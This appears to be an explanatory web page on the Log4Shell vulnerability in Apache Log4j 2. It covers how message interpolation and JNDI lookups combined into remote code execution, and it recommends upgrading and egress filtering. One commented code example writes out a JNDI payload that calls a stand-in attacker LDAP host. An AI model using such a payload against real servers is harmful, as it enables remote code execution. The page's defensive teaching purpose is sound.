flawopen.com/Incidents/Log4Shell
A office has a clerk whose only job is to write down everything visitors say in a notebook. Someone discovers that if a visitor says a particular magic phrase, the clerk stops writing, walks to an address named in the phrase, collects a sealed envelope from a stranger, and carries out whatever instructions are inside. The clerk was never supposed to do anything. They were supposed to write things down.
Apache Log4j 2 is one of the most widely deployed logging libraries in the Java ecosystem — present, directly or transitively, in an enormous share of enterprise Java applications. In December 2021 it emerged that Log4j 2 would interpolate ${jndi:...} expressions found inside the text being logged, and that doing so caused the JVM to contact an attacker-controlled server and load a remote class.
The result was arguably the most consequential vulnerability of the decade. Any input that eventually reached a log statement was an attack vector: HTTP headers, usernames on failed logins, User-Agent strings, chat messages, filenames, search queries. Because logging is by definition the thing applications do with untrusted input, the exploit surface was effectively "everywhere".
Log4j 2 applied string interpolation to the log message itself, not merely to the format pattern supplied by the developer. That collapses the boundary between the template (trusted, written by the programmer) and the data (untrusted, supplied by a user). Once an attacker controls text that gets interpolated, they control an expression evaluator.
The jndi lookup prefix resolved names through JNDI, which supports LDAP and RMI. A crafted LDAP response could return a reference instructing the JVM to download and instantiate a class from an attacker's HTTP server — turning information disclosure into arbitrary code execution in one step.
Neither half was obviously dangerous alone. Interpolating variables into log output is a reasonable convenience. JNDI is a legitimate enterprise Java API. The vulnerability lived in the composition — a rich expression language reachable from untrusted data, where one of the expressions happened to be a code loader.
// Application code — looks harmless, // and was considered best practice logger.info("Login failed for user: {}", request.getParameter("user")); // Attacker submits this as the username: // ${jndi:ldap://attacker.tld/a} // Log4j interpolates it, performs an LDAP // lookup, loads the returned class, // and executes it.
// 1. Upgrade. This is the real fix. // Log4j 2.17.1+ removes message // lookups and JNDI by default. // 2. Structurally: never let untrusted // data reach an expression evaluator. // 3. Defence in depth: egress filtering. // A server with no outbound LDAP/RMI // route cannot fetch the payload.
Log4j 1.x did not contain the message-lookup feature that caused CVE-2021-44228. However, 1.x reached end of life in 2015 and carries its own unpatched issues, so it is not a safe destination — the correct move is forward to a current 2.x release.
Early guidance circulated several stopgaps, including setting formatMsgNoLookups. These reduced exposure but were incomplete in some configurations and versions. Upgrading was, and remains, the reliable answer.